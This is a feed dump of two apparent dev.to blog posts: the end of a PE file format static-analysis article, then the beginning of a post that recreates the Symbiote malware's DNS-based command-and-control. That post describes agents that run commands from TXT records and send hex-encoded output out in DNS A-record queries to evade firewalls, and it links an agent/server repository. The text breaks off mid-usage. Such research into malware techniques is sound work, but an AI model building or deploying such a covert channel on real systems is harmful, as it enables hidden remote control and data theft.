&lt;li&gt;$F - Generated FPO &lt;a href="http://www.nynaeve.net/?p=91"&gt;Frame Poiner Omission&lt;/a&gt; debug information (obsolete)&lt;/li&gt;
&lt;li&gt;$P - Precompiled debug types (object only)&lt;/li&gt;
&lt;li&gt;$S - Debug symbols (object only)&lt;/li&gt;
&lt;li&gt;$T - Debug types (object only)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;.drective - Linker Options&lt;/li&gt;
&lt;li&gt;.edata/.idata - Export/Import Tables&lt;/li&gt;
&lt;li&gt;.idlsym - Includes registered SEH (image only) to support IDL attributes. Often used in conjuction with FPO &lt;a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#references"&gt;ref&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;.pdata - Exception information&lt;/li&gt;
&lt;li&gt;.rdata - Read-only initialized data&lt;/li&gt;
&lt;li&gt;.reloc - Relocations of the Image &lt;/li&gt;
&lt;li&gt;.rsrc - Resource Directory&lt;/li&gt;
&lt;li&gt;.s(following with) - Global Pointer-relative

&lt;ul&gt;
&lt;li&gt;.sbss - uninitialized data&lt;/li&gt;
&lt;li&gt;.sdata -  initialized data &lt;/li&gt;
&lt;li&gt;.srdata - read-only data&lt;/li&gt;
&lt;li&gt;.sxdata - Registered exception handler data (free format and x86/object only)&lt;/li&gt;
&lt;li&gt;.vsdata - initialized data (free format and for ARM, SH4, and Thumb architectures only)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;.text - Executable code (free format)&lt;/li&gt;
&lt;li&gt;.tls/.tls$ - Thread-local storage (object only)&lt;/li&gt;
&lt;li&gt;.xdata - Exception information (free format)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Refer to the &lt;a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#special-sections"&gt;documentation&lt;/a&gt; for further explanation. Each section is explained very well there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Import Directory Table (IDT)
&lt;/h2&gt;

&lt;p&gt;The Import Directory Table (&lt;strong&gt;IDT&lt;/strong&gt;) stores information about dynamic-link libraries (DLLs) that a Portable Executable (PE) file depends on and the functions that the file imports from those DLLs. In most cases, this information is stored in the &lt;code&gt;.idata&lt;/code&gt; section of the PE file, which is dedicated to this purpose. However, in some cases, the &lt;strong&gt;IDT&lt;/strong&gt; may be stored elsewhere.&lt;/p&gt;

&lt;p&gt;The address of the IDT can be found in the &lt;code&gt;IMAGE_DATA_DIRECTORY&lt;/code&gt; array of the &lt;code&gt;_IMAGE_OPTIONAL_HEADER&lt;/code&gt; structure. It is the second entry in the array. Each entry in the IDT is 8 bytes in size, with the first 4 bytes representing the address of the entry and the second 4 bytes representing the size. This information is used by the operating system's dynamic linker to resolve the addresses of the imported functions and link them to the actual functions in the imported DLLs.&lt;/p&gt;

&lt;p&gt;Let's take a look at an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CC280000 
    The IDT is located at 0xCC28
A0000000
    The size is 160 (A0)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Following the address of the Import Directory we reach the first import located at &lt;code&gt;0xCC28&lt;/code&gt;, let's see what is located at that address. &lt;/p&gt;

&lt;p&gt;Each Import is defined by 24 bytes, given these 24 bytes values:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;F8290000
    OriginalFirstThunk
00000000
    Timestamp
00000000
    Forwarder Chain (Address)
C02A0000
    Name of the Import (RVA)
D8210000
    FirstThunk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/42413937/why-pe-need-original-first-thunkoft"&gt;OriginalFirstThunk/FirstThunk&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To find out which functions are imported by a particular import in a Portable Executable (PE) file, we can follow the &lt;code&gt;OriginalFirstThunk&lt;/code&gt; address at &lt;code&gt;0xF829&lt;/code&gt;, which leads us to the Import Lookup Table (ILT). The ILT is a sequence of bytes that represents the addresses of the imported functions, similar to an array or table.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: It's important to note that the Import Address Table (IAT) may be the same as the ILT. However, when a file is loaded, the loader will overwrite the addresses in the IAT with the new memory addresses of the imported functions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Each function address in the ILT is 8 bytes in length, so the resulting data should look something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FC2A0000
    This is the address of the imported function
00000000

at 0xFC2A -&amp;gt;

B001
    Ordinal/Name Import Flag
5368656C6C4578656375746557
    ASCII -&amp;gt; 'ShellExecuteW'
00
    Null char terminating the string
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this we can denote and 'parse' all the imports and respectively their imported functions. &lt;/p&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;p&gt;To locate the resources in a Portable Executable (PE) file, you can use the third entry in the &lt;code&gt;IMAGE_DATA_DIRECTORY&lt;/code&gt; array of the &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt; structure. This entry contains the address and size of the resources section in the file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00000000 
    Characteristics
00000000
    TimeDateStamp
0000
    Major Version
0000
    Minor Version
0000
    Number of Named entities
0400
    Number of ID entities
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the corresponding struct&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_IMAGE_RESOURCE_DIRECTORY&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;Characteristics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
     &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;TimeDateStamp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
     &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;MajorVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
     &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;MinorVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
     &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;NumberOfNamedEntries&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
     &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;NumberOfIdEntries&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;IMAGE_RESOURCE_DIRECTORY_ENTRY&lt;/span&gt; &lt;span class="n"&gt;DirectoryEntries&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's take a look at the entries &lt;code&gt;IMAGE_RESOURCE_DIRECTORY_ENTRY&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_IMAGE_RESOURCE_DIRECTORY_ENTRY&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;NameOffset&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;NameIsString&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;DUMMYSTRUCTNAME&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;Id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;DUMMYUNIONNAME&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;OffsetToData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Leads us to the resource directory &lt;/span&gt;
    &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;OffsetToDirectory&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;DataIsDirectory&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;DUMMYSTRUCTNAME2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;DUMMYUNIONNAME2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;IMAGE_RESOURCE_DIRECTORY_ENTRY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PIMAGE_RESOURCE_DIRECTORY_ENTRY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user &lt;code&gt;mmn3mm&lt;/code&gt; has written a pretty good explanation of how to parse this section &lt;a href="https://github.com/mmn3mm/peresources"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exception Directory
&lt;/h2&gt;

&lt;p&gt;The Exception Directory is a section in a Portable Executable (PE) file that contains information about the exception handling functions in the code. It includes the addresses of the exception handling functions, the types of exceptions they handle, and other relevant details.&lt;/p&gt;

&lt;p&gt;When an exception occurs, the operating system's exception handling mechanism uses the Exception Directory to find the appropriate exception handling function. This section is optional and may not be present in every PE file, depending on whether the code in the file uses exception handling.&lt;/p&gt;

&lt;p&gt;It is typically located at &lt;code&gt;.pdata&lt;/code&gt; section, and the offset to the Exception section is the 4th entry in the &lt;code&gt;IMAGE_DATA_DIRECTORY&lt;/code&gt; array.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Personal Note&lt;/strong&gt;: As far as I understood that section (I could be wrong here) it contains exception handlers that are being used throughout the execution and they execute only if the execution is within the specified &lt;code&gt;BeginAddress&lt;/code&gt; and &lt;code&gt;EndAddress&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The entries there are 12 bytes, first 4 bytes contains the &lt;code&gt;BeginAddress&lt;/code&gt; the next 4 bytes contain the &lt;code&gt;EndAddress&lt;/code&gt; and the last 4 bytes contains the address (&lt;code&gt;UnwindInfoAddress&lt;/code&gt;) for the &lt;strong&gt;Unwind Information Block&lt;/strong&gt; which contains information of how to unwind the stack whenever an exception occurs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Base Relocations
&lt;/h2&gt;

&lt;p&gt;When a program is compiled, the compiler saves a value into the &lt;code&gt;IMAGE_OPTIONAL_HEADER.ImageBase&lt;/code&gt; field, which specifies the desired memory location where the program is intended to be executed. However, this memory location is often already occupied by other programs, so the actual memory location used by the program may be different. In this case, the loader will recalculate the &lt;code&gt;ImageBase&lt;/code&gt; value and write the new value into the program's image. This will cause all addresses in the program that are offset by the &lt;code&gt;ImageBase&lt;/code&gt; value (essentially, all addresses in the program) to be recalculated with the new ImageBase value and stored in the &lt;code&gt;.reloc&lt;/code&gt; section of the image. This process is necessary to ensure that the program can run correctly at its actual memory location.&lt;/p&gt;

&lt;p&gt;The user &lt;code&gt;0xRick&lt;/code&gt; has written a &lt;a href="https://0xrick.github.io/win-internals/pe7/"&gt;very good article&lt;/a&gt; of how to calcuate the entries within the Relocation Block and more.&lt;/p&gt;

&lt;h2&gt;
  
  
  Debug
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#debug-directory-image-only"&gt;Microsoft Documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Debug section is the 7th entry of the &lt;code&gt;IMAGE_DATA_DIRECTORY&lt;/code&gt; array, its structure looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_IMAGE_DEBUG_DIRECTORY&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;Characteristics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Describing the debug info&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;TimeDateStamp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;MajorVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Version of the debugging tool&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;MinorVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Version of the debugging tool&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Type of Debugging (this will denote the format that you need to parse)&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;SizeOfData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// The size of the debug data (not including the debug directory itself)&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;AddressOfRawData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// The address of the debug data when loaded, relative to the image base&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;PointerToRawData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// The file pointer to the debug data.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;IMAGE_DEBUG_DIRECTORY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PIMAGE_DEBUG_DIRECTORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Refer to the &lt;a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#debug-type"&gt;Microsoft's Documentation&lt;/a&gt; about how to parse further debug information.&lt;/p&gt;

&lt;h2&gt;
  
  
  Load Config
&lt;/h2&gt;

&lt;p&gt;This section contains information about the dynamic linking and loading of the executable or library and it is the 11th entry of the &lt;code&gt;IMAGE_DATA_DIRECTORY&lt;/code&gt; array. The Load Config section typically includes information such as the address of the entry point of the program, the size of the stack and heap, and the addresses of any imported functions or data. &lt;/p&gt;

&lt;p&gt;It can also include security and integrity-related information, such as Data Execution Prevention (&lt;strong&gt;DEP&lt;/strong&gt;) and Address Space Layout Randomization (&lt;strong&gt;ASLR&lt;/strong&gt;) settings.&lt;/p&gt;

&lt;p&gt;It is typically located at &lt;code&gt;.rdata&lt;/code&gt; section and it is an optional section for a PE file.&lt;/p&gt;

&lt;p&gt;The structure follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_IMAGE_LOAD_CONFIG_DIRECTORY&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;TimeDateStamp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;MajorVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;MinorVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;GlobalFlagsClear&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;GlobalFlagsSet&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;CriticalSectionDefaultTimeout&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;DeCommitFreeBlockThreshold&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;DeCommitTotalFreeThreshold&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;LockPrefixTable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;MaximumAllocationSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;VirtualMemoryThreshold&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;ProcessAffinityMask&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;ProcessHeapFlags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;CSDVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;    &lt;span class="n"&gt;DependentLoadFlags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;EditList&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;SecurityCookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;SEHandlerTable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;SEHandlerCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;GuardCFCheckFunctionPointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;GuardCFDispatchFunctionPointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;GuardCFFunctionTable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;GuardCFFunctionCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;GuardFlags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;IMAGE_LOAD_CONFIG_DIRECTORY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PIMAGE_LOAD_CONFIG_DIRECTORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;This is the first part of my research on static analysis; the primary focus would be on Windows PEs and exactly how much information I can extract before going into the guessing territory.  &lt;/p&gt;

&lt;p&gt;In order for me to do that, I must know how do these files look like and what raw information is stored in their contents; that is why I started this research by examining Windows's PE files.&lt;/p&gt;

&lt;p&gt;I hope you have reached that far and the information that I have provided is useful for you!&lt;/p&gt;

&lt;h1&gt;
  
  
  References
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://chat.openai.com/"&gt;https://chat.openai.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mandiant/flare-floss"&gt;https://github.com/mandiant/flare-floss&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mandiant.com/resources/blog/automatically-extracting-obfuscated-strings"&gt;https://www.mandiant.com/resources/blog/automatically-extracting-obfuscated-strings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/36550038/in-utf-16-utf-16be-utf-16le-is-the-endian-of-utf-16-the-computers-endianness"&gt;https://stackoverflow.com/questions/36550038/in-utf-16-utf-16be-utf-16le-is-the-endian-of-utf-16-the-computers-endianness&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://0xrick.github.io/"&gt;https://0xrick.github.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/the-devils-in-the-rich-header/84348/"&gt;https://securelist.com/the-devils-in-the-rich-header/84348/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/"&gt;https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://forensicitguy.github.io/rich-header-hashes-with-pefile/"&gt;https://forensicitguy.github.io/rich-header-hashes-with-pefile/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mmn3mm/peresources"&gt;https://github.com/mmn3mm/peresources&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>Using DNS as C2 Communication - Evasive Techniques (Part 3)</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Sun, 30 Oct 2022 12:06:43 +0000</pubDate>
      <link>https://dev.to/syrull/using-dns-as-c2-communication-evasive-techniques-part-3-54fb</link>
      <guid>https://dev.to/syrull/using-dns-as-c2-communication-evasive-techniques-part-3-54fb</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;Following my last post about some evasion techniques that the &lt;a href="https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat"&gt;Symbiote&lt;/a&gt; uses which I tried to recreate in their simplest form, this post will see how the Symbiote is communicating to the command and control &lt;a href="https://www.malwarepatrol.net/command-control-servers-c2-servers-fundamentals/"&gt;C2&lt;/a&gt; server.&lt;/p&gt;

&lt;p&gt;Upon reading the article, we can see that the Symbiote uses the DNS Protocol to exfiltrate data out of the infected machine, the way that it does that is by chunking it into a bunch of &lt;a href="https://www.cloudflare.com/learning/dns/dns-records/dns-a-record/"&gt;A&lt;/a&gt; Resource Records (RR) that it sends through the UDP. The &lt;code&gt;A&lt;/code&gt; Record looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{PACKET_NUMBER}.{MACHINE_ID}.{HEX_ENCODED_PAYLOAD}.{DOMAIN_NAME}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I will deliberately skip the whole authentication process that the malware uses, since it gets out of the scope of the post.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why DNS and not {arbitrary protocol}?
&lt;/h2&gt;

&lt;p&gt;DNS is being used in order to avoid/bypass the firewall rules and in some special scenarios that no TCP outgoing communication is possible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://resources.infosecinstitute.com/topic/bypassing-security-products-via-dns-data-exfiltration/"&gt;Bypassing security products via DNS data exfiltration&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation
&lt;/h2&gt;

&lt;p&gt;I will explain it briefly from the agent's point of view. We are sending the C2 server a beam (in a shape of a DNS request) every n seconds to check if there is a command for us to execute if we receive a non empty Answer with a &lt;code&gt;TXT&lt;/code&gt; Record (containing a command such as &lt;code&gt;ls&lt;/code&gt;) we execute that command and after we have the output of the command, we exfiltrate it back to the C2 Server. This happens by sending multiple DNS A record questions (chunks) back to the server. I used the same format that the Symbiote uses for the records.&lt;/p&gt;

&lt;p&gt;Note: Each element of a domain name can contain up to 63 chars of information, a full domain name can contain 253 chars. &lt;a href="https://stackoverflow.com/a/28918017"&gt;More info&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After the server receives a request with the packet number and the total number of packets (that's the first part of the message) it starts building the output message that we will see after we receive all the packets (through the &lt;code&gt;{HEX_ENCODED_PAYLOAD}&lt;/code&gt; part of the message).&lt;/p&gt;

&lt;h2&gt;
  
  
  Code / Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/syrull/dnsc2"&gt;Repository&lt;/a&gt; - The repository is created for a starting point to improve/build upon.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--oT5ydHyL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e9j0feh2jnn7eyglgfij.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oT5ydHyL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e9j0feh2jnn7eyglgfij.gif" alt="Image description" width="880" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The repository contains both the agent and the server. When the server is being ran it sets the default handler &lt;code&gt;dns.HandleFunc(".", AgentHandler)&lt;/code&gt; to handle any pattern for domain question this is for convenience, in some other cases you will want to specify some special handles.&lt;/p&gt;

&lt;h3&gt;
  
  
  Usage
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Start the server&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;go run main.go 127.0.0.1:8053 
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start the agent&lt;br&gt;
